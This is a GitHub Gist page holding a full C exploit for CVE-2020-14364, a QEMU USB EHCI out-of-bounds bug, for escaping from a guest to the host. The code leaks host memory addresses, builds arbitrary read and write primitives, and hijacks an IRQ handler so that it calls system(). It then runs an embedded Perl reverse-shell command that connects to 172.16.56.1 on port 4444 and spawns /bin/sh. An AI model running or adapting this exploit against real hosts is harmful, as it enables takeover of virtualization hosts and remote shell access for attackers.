Last active
February 20, 2023 03:27
-
-
Save brant-ruan/8ce3c7aabe5f066bdecbb6ea92e8ed03 to your computer and use it in GitHub Desktop.
CVE-2020-14364 QEMU escape (from https://xz.aliyun.com/t/8320 and https://www.anquanke.com/post/id/227283)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <assert.h> | |
#include <fcntl.h> | |
#include <inttypes.h> | |
#include <stdbool.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/io.h> | |
#include <sys/mman.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
/* env related */ | |
#define OFFSET_SYSTEM_PLT 0x2c2290 | |
#define OFFSET_DESC_DEVICE_HIGH 0xe9e150 | |
// used to search for valide user space address | |
#define USER_ADDR_MIN_X64 0x0000000000400000 | |
#define USER_ADDR_MAX_X64 0x00007fffffffffff | |
// used to bypass `if (p->iov.size != 8)` in do_token_setup | |
#define BYPASS_SETUP_IOV_SIZE 8 | |
#define OFF_SETUP_LEN__USBDEVICE 0x8 | |
#define OFF_SETUP_INDEX__USBDEVICE 0xc | |
/* ehci spec */ | |
#define OPREG_BASE 0x20 | |
#define OPREG_PORTSC (OPREG_BASE + 0x44) | |
#define OPREG_PERIODICLISTBASE (OPREG_BASE + 0x14) | |
#define OPREG_USBCMD (OPREG_BASE + 0x00) | |
#define PORTSC_PRESET (1 << 8) | |
#define PORTSC_PED (1 << 2) | |
#define USBCMD_RUNSTOP (1 << 0) | |
#define USBCMD_HCRESET (1 << 1) | |
#define USBCMD_PSE (1 << 4) | |
#define USB_DIR_OUT 0x0 | |
#define USB_DIR_IN 0x80 | |
#define USB_TOKEN_SETUP 2 | |
#define USB_TOKEN_IN 1 /* device -> host */ | |
#define USB_TOKEN_OUT 0 /* host -> device */ | |
#define QTD_TOKEN_ACTIVE (1 << 7) | |
#define QTD_TOKEN_TBYTES_SH 16 | |
#define QTD_TOKEN_PID_SH 8 | |
/* extra */ | |
#define MEM_SIZE_MMIO 0x1000 | |
#define MEM_SIZE_DMABUF 0x3000 | |
#define OOB_TBYTES_LEN 0x1e00 | |
#define AARW_SETUP_LEN 0x1010 | |
typedef struct USBDevice USBDevice; | |
typedef struct USBEndpoint USBEndpoint; | |
struct USBEndpoint { | |
uint8_t nr; | |
uint8_t pid; | |
uint8_t type; | |
uint8_t ifnum; | |
int max_packet_size; | |
int max_streams; | |
bool pipeline; | |
bool halted; | |
USBDevice *dev; | |
USBEndpoint *fd; | |
USBEndpoint *bk; | |
}; | |
struct USBDevice { | |
int32_t remote_wakeup; | |
int32_t setup_state; | |
int32_t setup_len; | |
int32_t setup_index; | |
USBEndpoint ep_ctl; | |
USBEndpoint ep_in[15]; | |
USBEndpoint ep_out[15]; | |
}; | |
typedef struct EHCIqh { | |
uint32_t next; /* Standard next link pointer */ | |
/* endpoint characteristics */ | |
uint32_t epchar; | |
/* endpoint capabilities */ | |
uint32_t epcap; | |
uint32_t current_qtd; /* Standard next link pointer */ | |
uint32_t next_qtd; /* Standard next link pointer */ | |
uint32_t altnext_qtd; | |
uint32_t token; /* Same as QTD token */ | |
uint32_t bufptr[5]; /* Standard buffer pointer */ | |
} EHCIqh; | |
typedef struct EHCIqtd { | |
uint32_t next; /* Standard next link pointer */ | |
uint32_t altnext; /* Standard next link pointer */ | |
uint32_t token; | |
uint32_t bufptr[5]; /* Standard buffer pointer */ | |
} EHCIqtd; | |
char *device = "/sys/devices/pci0000:00/0000:00:1d.7/resource0"; | |
char *setup_buf; | |
char *data_buf; | |
char *data_buf_oob; | |
unsigned char *mmio_mem; | |
char *dmabuf; | |
uint32_t *entry; | |
struct EHCIqh *qh; | |
struct EHCIqtd *qtd; | |
uint64_t dev_addr = 0; | |
uint64_t leak_addr = 0; | |
uint64_t port_addr = 0; | |
uint64_t port_ptr = 0; | |
uint64_t data_buf_addr = 0; | |
uint64_t proc_base = 0; | |
uint64_t system_addr = 0; | |
void die(const char *msg) { | |
perror(msg); | |
exit(-1); | |
} | |
size_t virt2phys(void *addr) { | |
uint64_t virt = (uint64_t)addr; | |
uint64_t phys; | |
// assert page alignment | |
int fd = open("/proc/self/pagemap", O_RDONLY); | |
if (fd == -1) die("open"); | |
uint64_t offset = (virt / 0x1000) * 8; | |
lseek(fd, offset, SEEK_SET); | |
if (read(fd, &phys, 8) != 8) die("read"); | |
// assert page present | |
phys = (phys & ((1ULL << 54) - 1)) * 0x1000 + (virt & 0xfff); | |
close(fd); | |
return phys; | |
} | |
void mmio_write(uint64_t addr, uint64_t value) { | |
*((uint64_t *)(mmio_mem + addr)) = value; | |
} | |
uint64_t mmio_read(uint64_t addr) { return *((uint64_t *)(mmio_mem + addr)); } | |
void set_usbcmd(void) { | |
// HCRESET is used for final irq handler triggering | |
// ehci_reset(s) -> ehci_update_irq(s) -> qemu_set_irq(s->irq, level) | |
// -> irq->handler(irq->opaque, irq->n, level) | |
mmio_write(OPREG_USBCMD, USBCMD_HCRESET); | |
mmio_write(OPREG_USBCMD, USBCMD_RUNSTOP | USBCMD_PSE); | |
return; | |
} | |
void reset_enable_port(void) { | |
mmio_write(OPREG_PORTSC, PORTSC_PRESET); | |
mmio_write(OPREG_PORTSC, PORTSC_PED); | |
} | |
void set_ehci(void) { | |
qh->token = QTD_TOKEN_ACTIVE; | |
qh->current_qtd = virt2phys(qtd); | |
*entry = virt2phys(qh) + (1 << 1); | |
set_usbcmd(); | |
reset_enable_port(); | |
mmio_write(OPREG_PERIODICLISTBASE, virt2phys(dmabuf)); | |
sleep(3); | |
} | |
void set_qtd_for_oob(char usb_token_dir) { | |
qtd->token = (OOB_TBYTES_LEN << QTD_TOKEN_TBYTES_SH) | QTD_TOKEN_ACTIVE | | |
(usb_token_dir << QTD_TOKEN_PID_SH); | |
qtd->bufptr[0] = virt2phys(data_buf); | |
qtd->bufptr[1] = virt2phys(data_buf_oob); | |
} | |
void set_length(uint64_t length) { | |
setup_buf[6] = length & 0xff; | |
setup_buf[7] = (length >> 8) & 0xff; | |
qtd->token = (BYPASS_SETUP_IOV_SIZE << QTD_TOKEN_TBYTES_SH) | | |
QTD_TOKEN_ACTIVE | (USB_TOKEN_SETUP << QTD_TOKEN_PID_SH); | |
qtd->bufptr[0] = virt2phys(setup_buf); | |
set_ehci(); | |
} | |
void prepare_rw(char usb_dir) { | |
setup_buf[0] = usb_dir; | |
set_length(0x00ff); | |
set_ehci(); | |
} | |
void oob_r(uint64_t length, int flag) { | |
printf("[*] oob_r (len 0x%lx)\n", length); | |
if (flag) { | |
prepare_rw(USB_DIR_IN); | |
set_length(length); | |
} | |
set_qtd_for_oob(USB_TOKEN_IN); | |
set_ehci(); | |
} | |
void oob_w(uint64_t offset, uint64_t setup_len, uint64_t setup_index, | |
int flag) { | |
printf("[*] oob_w (off 0x%lx, len 0x%lx, idx 0x%lx)\n", offset, setup_len, | |
setup_index); | |
if (flag) { | |
prepare_rw(USB_DIR_OUT); | |
set_length(AARW_SETUP_LEN); | |
} | |
*(unsigned long *)(data_buf_oob + offset) = 0x0000000200000002; | |
*(unsigned int *)(data_buf_oob + offset + OFF_SETUP_LEN__USBDEVICE) = | |
setup_len; | |
*(unsigned int *)(data_buf_oob + offset + OFF_SETUP_INDEX__USBDEVICE) = | |
setup_index; | |
set_qtd_for_oob(USB_TOKEN_OUT); | |
set_ehci(); | |
} | |
void aar(uint64_t target_addr) { | |
printf("[*] aar (addr 0x%lx)\n", target_addr); | |
set_length(AARW_SETUP_LEN); | |
// USBDevice.setup_index => -8 | |
// USBDevice.setup_len => 0x1010 | |
oob_w(0x0, AARW_SETUP_LEN, 0xfffffff8 - AARW_SETUP_LEN, 1); | |
// set USBDevice.setup_buf[0] => 0x80 (USB_DIR_IN) | |
// set USBDevice.setup_buf[6] => 0x00 | |
// set USBDevice.setup_buf[7] => 0x20 | |
*(unsigned long *)(data_buf) = 0x2000000000000080; | |
uint32_t offset = target_addr - data_buf_addr; | |
// set USBDevice.setup_len => 0xffff | |
// set USBDevice.setup_index => offset - 0x1018 + 0x1018 => offset | |
oob_w(0x0 - 0xfffffff8, 0xffff, offset - (AARW_SETUP_LEN + 0x8), 0); | |
// len = 0xffff - offset + 0x1018 | |
// usb_packet_copy(p, s->data_buf + s->setup_index, len) | |
oob_r(0x2000, 0); | |
} | |
void aaw(uint64_t target_addr, uint64_t payload) { | |
printf("[*] aaw (addr 0x%lx, val 0x%lx)\n", target_addr, payload); | |
uint32_t offset = target_addr - data_buf_addr; | |
oob_w(0, offset + 0x8, offset - AARW_SETUP_LEN, 1); | |
*(unsigned long *)(data_buf) = payload; | |
oob_w(0, 0xffff, 0, 0); | |
} | |
void stop_uhci_controllers() { | |
puts("[*] stopping all uhci controllers"); | |
iopl(3); // grants full I/O privileges to the process | |
outw(0, 0xc0a0); // stop USB UHCI controller #1 | |
outw(0, 0xc0c0); // stop USB UHCI controller #2 | |
outw(0, 0xc0e0); // stop USB UHCI controller #3 | |
sleep(3); | |
} | |
void init(void) { | |
stop_uhci_controllers(); | |
printf("[*] opening %s\n", device); | |
int mmio_fd = open(device, O_RDWR | O_SYNC); | |
if (mmio_fd == -1) die("open"); | |
puts("[*] mmaping mmio_mem and dmabuf"); | |
mmio_mem = | |
mmap(0, MEM_SIZE_MMIO, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); | |
if (mmio_mem == MAP_FAILED) die("mmap"); | |
dmabuf = mmap(0, MEM_SIZE_DMABUF, PROT_READ | PROT_WRITE | PROT_EXEC, | |
MAP_SHARED | MAP_ANONYMOUS, -1, 0); | |
if (dmabuf == MAP_FAILED) die("mmap"); | |
mlock(dmabuf, MEM_SIZE_DMABUF); | |
entry = (uint32_t *)(dmabuf + 0x4); | |
qh = (struct EHCIqh *)(dmabuf + 0x100); | |
qtd = (struct EHCIqtd *)(dmabuf + 0x200); | |
setup_buf = dmabuf + 0x300; | |
data_buf = dmabuf + 0x1000; | |
data_buf_oob = dmabuf + 0x2000; | |
} | |
int main() { | |
init(); | |
oob_r(0x2000, 1); | |
dev_addr = *(uint64_t *)(data_buf_oob + 36); | |
port_addr = dev_addr + 0x78; | |
data_buf_addr = dev_addr + 0xdc; | |
printf("[+] leaked (USBDevice) dev_addr: 0x%lx\n", dev_addr); | |
printf("[+] got data_buf addr: 0x%lx\n", data_buf_addr); | |
printf("[+] got port addr: 0x%lx\n", port_addr); | |
leak_addr = *(uint64_t *)(data_buf_oob + 0x4f4 + 8); | |
proc_base = leak_addr - OFFSET_DESC_DEVICE_HIGH; | |
system_addr = proc_base + OFFSET_SYSTEM_PLT; | |
printf("[+] leaked desc_device_high addr: 0x%lx\n", leak_addr); | |
printf("[+] got elf base addr: 0x%lx\n", proc_base); | |
printf("[+] got system@plt addr: 0x%lx\n", system_addr); | |
sleep(3); | |
aar(port_addr); | |
port_ptr = *(uint64_t *)data_buf; | |
uint64_t EHCIState_addr = port_ptr - 0x540; | |
uint64_t irq_addr = EHCIState_addr + 0xc0; | |
printf("[+] leaked port ptr: 0x%lx\n", port_ptr); | |
printf("[+] got EHCIState addr: 0x%lx\n", EHCIState_addr); | |
printf("[+] got irq addr: 0x%lx\n", irq_addr); | |
uint64_t fake_irq_addr = data_buf_addr; | |
// uint64_t irq_ptr = 0; | |
// aar(irq_addr); | |
// irq_ptr = *(uint64_t *)data_buf; | |
// printf("[+] leaked irq ptr: 0x%lx\n", irq_ptr); | |
printf("[*] crafting fake irq at 0x%lx (data_buf)\n", fake_irq_addr); | |
*(unsigned long *)(data_buf + 0x28) = system_addr; | |
*(unsigned long *)(data_buf + 0x30) = data_buf_addr + 0x100; | |
*(unsigned long *)(data_buf + 0x38) = 0x3; | |
// *(unsigned long *)(data_buf + 0x100) = 0x636c616378; | |
char command[] = | |
"perl -e 'use " | |
"Socket;$i=qq(172.16.56.1);$p=4444;socket(S,PF_INET,SOCK_STREAM," | |
"getprotobyname(qq(tcp)));if(connect(S,sockaddr_in($p,inet_aton($i)))){" | |
"open(STDIN,qq(>&S));open(STDOUT,qq(>&S));open(STDERR,qq(>&S));exec(qq(" | |
"/bin/sh -i));};'"; | |
strcpy(data_buf + 0x100, command); | |
puts("[*] overwriting irq ptr with fake irq addr"); | |
puts("[*] also triggering invocation of irq handler"); | |
sleep(3); | |
oob_w(0, 0xffff, 0xffff, 1); | |
// the final aaw also triggers the call of irq handler | |
// see comments in set_usbcmd function for details | |
aaw(irq_addr, fake_irq_addr); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment